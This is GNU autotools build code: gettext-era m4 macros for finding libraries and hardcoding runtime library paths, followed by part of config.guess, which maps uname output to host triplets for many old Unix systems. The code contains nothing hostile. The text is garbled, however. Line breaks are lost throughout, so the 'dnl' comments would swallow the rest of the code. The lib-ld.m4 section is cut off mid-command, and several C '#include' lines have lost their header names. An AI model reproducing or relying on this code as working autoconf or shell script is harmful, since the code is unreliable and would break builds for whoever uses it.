hardcode_libdir_flag_spec, hardcode_libdir_separator, dnl hardcode_direct, hardcode_minus_L. AC_DEFUN([AC_LIB_RPATH], [ dnl Tell automake >= 1.10 to complain if config.rpath is missing. m4_ifdef([AC_REQUIRE_AUX_FILE], [AC_REQUIRE_AUX_FILE([config.rpath])]) AC_REQUIRE([AC_PROG_CC]) dnl we use $CC, $GCC, $LDFLAGS AC_REQUIRE([AC_LIB_PROG_LD]) dnl we use $LD, $with_gnu_ld AC_REQUIRE([AC_CANONICAL_HOST]) dnl we use $host AC_REQUIRE([AC_CONFIG_AUX_DIR_DEFAULT]) dnl we use $ac_aux_dir AC_CACHE_CHECK([for shared library run path origin], acl_cv_rpath, [ CC="$CC" GCC="$GCC" LDFLAGS="$LDFLAGS" LD="$LD" with_gnu_ld="$with_gnu_ld" \ ${CONFIG_SHELL-/bin/sh} "$ac_aux_dir/config.rpath" "$host" > conftest.sh . ./conftest.sh rm -f ./conftest.sh acl_cv_rpath=done ]) wl="$acl_cv_wl" libext="$acl_cv_libext" shlibext="$acl_cv_shlibext" hardcode_libdir_flag_spec="$acl_cv_hardcode_libdir_flag_spec" hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator" hardcode_direct="$acl_cv_hardcode_direct" hardcode_minus_L="$acl_cv_hardcode_minus_L" dnl Determine whether the user wants rpath handling at all. AC_ARG_ENABLE(rpath, [ --disable-rpath do not hardcode runtime library paths], :, enable_rpath=yes) ]) dnl AC_LIB_LINKFLAGS_BODY(name [, dependencies]) searches for libname and dnl the libraries corresponding to explicit and implicit dependencies. dnl Sets the LIB${NAME}, LTLIB${NAME} and INC${NAME} variables. AC_DEFUN([AC_LIB_LINKFLAGS_BODY], [ define([NAME],[translit([$1],[abcdefghijklmnopqrstuvwxyz./-], [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])]) dnl By default, look in $includedir and $libdir. use_additional=yes AC_LIB_WITH_FINAL_PREFIX([ eval additional_includedir=\"$includedir\" eval additional_libdir=\"$libdir\" ]) AC_LIB_ARG_WITH([lib$1-prefix], [ --with-lib$1-prefix[=DIR] search for lib$1 in DIR/include and DIR/lib --without-lib$1-prefix don't search for lib$1 in includedir and libdir], [ if test "X$withval" = "Xno"; then use_additional=no else if test "X$withval" = "X"; then AC_LIB_WITH_FINAL_PREFIX([ eval additional_includedir=\"$includedir\" eval additional_libdir=\"$libdir\" ]) else additional_includedir="$withval/include" additional_libdir="$withval/lib" fi fi ]) dnl Search the library and its dependencies in $additional_libdir and dnl $LDFLAGS. Using breadth-first-seach. LIB[]NAME= LTLIB[]NAME= INC[]NAME= rpathdirs= ltrpathdirs= names_already_handled= names_next_round='$1 $2' while test -n "$names_next_round"; do names_this_round="$names_next_round" names_next_round= for name in $names_this_round; do already_handled= for n in $names_already_handled; do if test "$n" = "$name"; then already_handled=yes break fi done if test -z "$already_handled"; then names_already_handled="$names_already_handled $name" dnl See if it was already located by an earlier AC_LIB_LINKFLAGS dnl or AC_LIB_HAVE_LINKFLAGS call. uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'` eval value=\"\$HAVE_LIB$uppername\" if test -n "$value"; then if test "$value" = yes; then eval value=\"\$LIB$uppername\" test -z "$value" || LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$value" eval value=\"\$LTLIB$uppername\" test -z "$value" || LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$value" else dnl An earlier call to AC_LIB_HAVE_LINKFLAGS has determined dnl that this library doesn't exist. So just drop it. : fi else dnl Search the library lib$name in $additional_libdir and $LDFLAGS dnl and the already constructed $LIBNAME/$LTLIBNAME. found_dir= found_la= found_so= found_a= if test $use_additional = yes; then if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then found_dir="$additional_libdir" found_so="$additional_libdir/lib$name.$shlibext" if test -f "$additional_libdir/lib$name.la"; then found_la="$additional_libdir/lib$name.la" fi else if test -f "$additional_libdir/lib$name.$libext"; then found_dir="$additional_libdir" found_a="$additional_libdir/lib$name.$libext" if test -f "$additional_libdir/lib$name.la"; then found_la="$additional_libdir/lib$name.la" fi fi fi fi if test "X$found_dir" = "X"; then for x in $LDFLAGS $LTLIB[]NAME; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) case "$x" in -L*) dir=`echo "X$x" | sed -e 's/^X-L//'` if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then found_dir="$dir" found_so="$dir/lib$name.$shlibext" if test -f "$dir/lib$name.la"; then found_la="$dir/lib$name.la" fi else if test -f "$dir/lib$name.$libext"; then found_dir="$dir" found_a="$dir/lib$name.$libext" if test -f "$dir/lib$name.la"; then found_la="$dir/lib$name.la" fi fi fi ;; esac if test "X$found_dir" != "X"; then break fi done fi if test "X$found_dir" != "X"; then dnl Found the library. LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$found_dir -l$name" if test "X$found_so" != "X"; then dnl Linking with a shared library. We attempt to hardcode its dnl directory into the executable's runpath, unless it's the dnl standard /usr/lib. if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then dnl No hardcoding is needed. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" else dnl Use an explicit option to hardcode DIR into the resulting dnl binary. dnl Potentially add DIR to ltrpathdirs. dnl The ltrpathdirs will be appended to $LTLIBNAME at the end. haveit= for x in $ltrpathdirs; do if test "X$x" = "X$found_dir"; then haveit=yes break fi done if test -z "$haveit"; then ltrpathdirs="$ltrpathdirs $found_dir" fi dnl The hardcoding into $LIBNAME is system dependent. if test "$hardcode_direct" = yes; then dnl Using DIR/libNAME.so during linking hardcodes DIR into the dnl resulting binary. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" else if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then dnl Use an explicit option to hardcode DIR into the resulting dnl binary. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" dnl Potentially add DIR to rpathdirs. dnl The rpathdirs will be appended to $LIBNAME at the end. haveit= for x in $rpathdirs; do if test "X$x" = "X$found_dir"; then haveit=yes break fi done if test -z "$haveit"; then rpathdirs="$rpathdirs $found_dir" fi else dnl Rely on "-L$found_dir". dnl But don't add it if it's already contained in the LDFLAGS dnl or the already constructed $LIBNAME haveit= for x in $LDFLAGS $LIB[]NAME; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X-L$found_dir"; then haveit=yes break fi done if test -z "$haveit"; then LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir" fi if test "$hardcode_minus_L" != no; then dnl FIXME: Not sure whether we should use dnl "-L$found_dir -l$name" or "-L$found_dir $found_so" dnl here. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" else dnl We cannot use $hardcode_runpath_var and LD_RUN_PATH dnl here, because this doesn't fit in flags passed to the dnl compiler. So give up. No hardcoding. This affects only dnl very old systems. dnl FIXME: Not sure whether we should use dnl "-L$found_dir -l$name" or "-L$found_dir $found_so" dnl here. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name" fi fi fi fi else if test "X$found_a" != "X"; then dnl Linking with a static library. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_a" else dnl We shouldn't come here, but anyway it's good to have a dnl fallback. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir -l$name" fi fi dnl Assume the include files are nearby. additional_includedir= case "$found_dir" in */lib | */lib/) basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'` additional_includedir="$basedir/include" ;; esac if test "X$additional_includedir" != "X"; then dnl Potentially add $additional_includedir to $INCNAME. dnl But don't add it dnl 1. if it's the standard /usr/include, dnl 2. if it's /usr/local/include and we are using GCC on Linux, dnl 3. if it's already present in $CPPFLAGS or the already dnl constructed $INCNAME, dnl 4. if it doesn't exist as a directory. if test "X$additional_includedir" != "X/usr/include"; then haveit= if test "X$additional_includedir" = "X/usr/local/include"; then if test -n "$GCC"; then case $host_os in linux* | gnu* | k*bsd*-gnu) haveit=yes;; esac fi fi if test -z "$haveit"; then for x in $CPPFLAGS $INC[]NAME; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X-I$additional_includedir"; then haveit=yes break fi done if test -z "$haveit"; then if test -d "$additional_includedir"; then dnl Really add $additional_includedir to $INCNAME. INC[]NAME="${INC[]NAME}${INC[]NAME:+ }-I$additional_includedir" fi fi fi fi fi dnl Look for dependencies. if test -n "$found_la"; then dnl Read the .la file. It defines the variables dnl dlname, library_names, old_library, dependency_libs, current, dnl age, revision, installed, dlopen, dlpreopen, libdir. save_libdir="$libdir" case "$found_la" in */* | *\\*) . "$found_la" ;; *) . "./$found_la" ;; esac libdir="$save_libdir" dnl We use only dependency_libs. for dep in $dependency_libs; do case "$dep" in -L*) additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'` dnl Potentially add $additional_libdir to $LIBNAME and $LTLIBNAME. dnl But don't add it dnl 1. if it's the standard /usr/lib, dnl 2. if it's /usr/local/lib and we are using GCC on Linux, dnl 3. if it's already present in $LDFLAGS or the already dnl constructed $LIBNAME, dnl 4. if it doesn't exist as a directory. if test "X$additional_libdir" != "X/usr/lib"; then haveit= if test "X$additional_libdir" = "X/usr/local/lib"; then if test -n "$GCC"; then case $host_os in linux* | gnu* | k*bsd*-gnu) haveit=yes;; esac fi fi if test -z "$haveit"; then haveit= for x in $LDFLAGS $LIB[]NAME; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X-L$additional_libdir"; then haveit=yes break fi done if test -z "$haveit"; then if test -d "$additional_libdir"; then dnl Really add $additional_libdir to $LIBNAME. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$additional_libdir" fi fi haveit= for x in $LDFLAGS $LTLIB[]NAME; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X-L$additional_libdir"; then haveit=yes break fi done if test -z "$haveit"; then if test -d "$additional_libdir"; then dnl Really add $additional_libdir to $LTLIBNAME. LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$additional_libdir" fi fi fi fi ;; -R*) dir=`echo "X$dep" | sed -e 's/^X-R//'` if test "$enable_rpath" != no; then dnl Potentially add DIR to rpathdirs. dnl The rpathdirs will be appended to $LIBNAME at the end. haveit= for x in $rpathdirs; do if test "X$x" = "X$dir"; then haveit=yes break fi done if test -z "$haveit"; then rpathdirs="$rpathdirs $dir" fi dnl Potentially add DIR to ltrpathdirs. dnl The ltrpathdirs will be appended to $LTLIBNAME at the end. haveit= for x in $ltrpathdirs; do if test "X$x" = "X$dir"; then haveit=yes break fi done if test -z "$haveit"; then ltrpathdirs="$ltrpathdirs $dir" fi fi ;; -l*) dnl Handle this in the next round. names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'` ;; *.la) dnl Handle this in the next round. Throw away the .la's dnl directory; it is already contained in a preceding -L dnl option. names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` ;; *) dnl Most likely an immediate library name. LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$dep" LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$dep" ;; esac done fi else dnl Didn't find the library; assume it is in the system directories dnl known to the linker and runtime loader. (All the system dnl directories known to the linker should also be known to the dnl runtime loader, otherwise the system is severely misconfigured.) LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name" LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-l$name" fi fi fi done done if test "X$rpathdirs" != "X"; then if test -n "$hardcode_libdir_separator"; then dnl Weird platform: only the last -rpath option counts, the user must dnl pass all path elements in one option. We can arrange that for a dnl single library, but not when more than one $LIBNAMEs are used. alldirs= for found_dir in $rpathdirs; do alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir" done dnl Note: hardcode_libdir_flag_spec uses $libdir and $wl. acl_save_libdir="$libdir" libdir="$alldirs" eval flag=\"$hardcode_libdir_flag_spec\" libdir="$acl_save_libdir" LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag" else dnl The -rpath options are cumulative. for found_dir in $rpathdirs; do acl_save_libdir="$libdir" libdir="$found_dir" eval flag=\"$hardcode_libdir_flag_spec\" libdir="$acl_save_libdir" LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag" done fi fi if test "X$ltrpathdirs" != "X"; then dnl When using libtool, the option that works for both libraries and dnl executables is -R. The -R options are cumulative. for found_dir in $ltrpathdirs; do LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-R$found_dir" done fi ]) dnl AC_LIB_APPENDTOVAR(VAR, CONTENTS) appends the elements of CONTENTS to VAR, dnl unless already present in VAR. dnl Works only for CPPFLAGS, not for LIB* variables because that sometimes dnl contains two or three consecutive elements that belong together. AC_DEFUN([AC_LIB_APPENDTOVAR], [ for element in [$2]; do haveit= for x in $[$1]; do AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) if test "X$x" = "X$element"; then haveit=yes break fi done if test -z "$haveit"; then [$1]="${[$1]}${[$1]:+ }$element" fi done ]) # lib-ld.m4 serial 3 (gettext-0.13) dnl Copyright (C) 1996-2003 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and/or distribute it, dnl with or without modifications, as long as this notice is preserved. dnl Subroutines of libtool.m4, dnl with replacements s/AC_/AC_LIB/ and s/lt_cv/acl_cv/ to avoid collision dnl with libtool.m4. dnl From libtool-1.4. Sets the variable with_gnu_ld to yes or no. AC_DEFUN([AC_LIB_PROG_LD_GNU], [AC_CACHE_CHECK([if the linker ($LD) is GNU ld], acl_cv_prog_gnu_ld, [# I'd rather use --version here, but apparently some GNU ld's only accept -v. case `$LD -v 2>&1 conf$$.sh echo "exit 0" >>conf$$.sh chmod +x conf$$.sh if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then PATH_SEPARATOR=';' else PATH_SEPARATOR=: fi rm -f conf$$.sh fi ac_prog=ld if test "$GCC" = yes; then # Check if gcc -print-prog-name=ld gives a path. AC_MSG_CHECKING([for ld used by GCC]) case $host in *-*-mingw*) # gcc leaves a trailing carriage return which upsets mingw ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; *) ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; esac case $ac_prog in # Accept absolute paths. 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ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` exit 0 ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit 0 ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit 0 ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit 0;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit 0 ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit 0 ;; *:OS/390:*:*) echo i370-ibm-openedition exit 0 ;; *:z/VM:*:*) echo s390-ibm-zvmoe exit 0 ;; *:OS400:*:*) echo powerpc-ibm-os400 exit 0 ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit 0;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit 0;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. 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Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit 0 ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit 0 ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit 0 ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit 0 ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit 0 ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit 0 ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit 0 ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit 0 ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit 0 ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit 0 ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit 0 ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit 0 ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit 0 ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c \ && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ && exit 0 echo mips-mips-riscos${UNAME_RELEASE} exit 0 ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit 0 ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit 0 ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit 0 ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit 0 ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit 0 ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit 0 ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit 0 ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit 0 ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit 0 ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit 0 ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit 0 ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit 0 ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 echo rs6000-ibm-aix3.2.5 elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit 0 ;; *:AIX:*:[45]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:*:*) echo rs6000-ibm-aix exit 0 ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit 0 ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit 0 ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit 0 ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit 0 ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit 0 ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit 0 ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then # avoid double evaluation of $set_cc_for_build test -n "$CC_FOR_BUILD" || eval $set_cc_for_build if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E -) | grep __LP64__ >/dev/null then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit 0 ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit 0 ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 echo unknown-hitachi-hiuxwe2 exit 0 ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit 0 ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit 0 ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit 0 ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit 0 ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit 0 ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit 0 ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit 0 ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit 0 ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit 0 ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit 0 ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit 0 ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*[A-Z]90:*:*:*) echo 